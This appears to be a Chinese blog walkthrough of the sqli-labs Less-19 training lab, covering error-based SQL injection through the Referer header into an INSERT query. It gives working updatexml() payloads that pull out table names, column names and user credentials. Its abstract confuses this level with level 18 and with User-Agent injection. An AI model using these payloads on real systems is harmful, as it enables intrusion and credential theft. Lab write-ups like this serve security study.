sqli-labs:Less-19关卡详细解析
摘要: 本文详细解析了sqli-labs第18关的SQL注入过程。该关卡基于INSERT语句的字符串型注入,通过修改User-Agent头实现攻击。分析发现注入点位于$uagent参数,需配合报错盲注获取数据。 关键步骤: 使用updatexml()函数触发报错 依次获取数据库名、表名、字段名 通过concat()提取具体数据 技术要点: 利用HTTP请求头进行注入 报错盲注技术应用 系统数据库i
1. 思路🚀
本关的SQL语句为:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
- 注入类型:字符串型(单引号包裹)、INSERT操作
- 提示:参数需以
'
闭合 - 关键参数:
uagent
php
输出语句的部分代码:
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your Referer is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
关卡的回显语句是echo 'Your Referer is: ' .$uagent;
,需通过正确的账号密码后才会回显Referer
信息,这是由源码决定的,需要已知的账号和密码,暂且每次提交的账号密码都是admin
,根据提示,insert
配合报错盲注
。
2. 手工注入步骤🎯
使用Burpsuite的Repeater
功能,接下来的操作,只需要将下面的Referer
放入对应位置,粘贴即可。
2.1. 判断回显位⚡
正常提交账号:admin
,密码:admin
,抓取一下数据包,选中Repeater
功能就行。
2.2. 获取基本信息⚡
接下来配合updatexml
函数实现报错盲注
1' and updatexml(1,concat(1,(select database())),3) and'
2.3. 获取表名⚡
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) and'
2.4. 获取字段⚡
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) and'
2.5. 获取数据⚡
下面是获取一个用户的sql语句,修改limit
偏移量可获取其余用户的账号密码信息。
1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) and'
2.6. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' |
闭合符号 | id=1' |
updatexml() |
报错注入函数 | updatexml(1,(select database()),3) |
concat() |
字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
information_schema |
系统数据库 | from information_schema.tables |
table_schema |
数据库名称 | table_schema='security' |
table_name |
数据表名称 | table_name='users' |
column_name |
字段名称 | group_concat(column_name) |
3. 总结🏁
本关卡是在http
请求中的Referer
做文章,从而达到sql注入的效果,这在后面也是会经常遇到的,配合报错盲注获取数据。
关卡18的解析详细,文章为"sqli-labs:Less-18关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149863254?spm=1011.2124.3001.6209
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗
更多推荐
所有评论(0)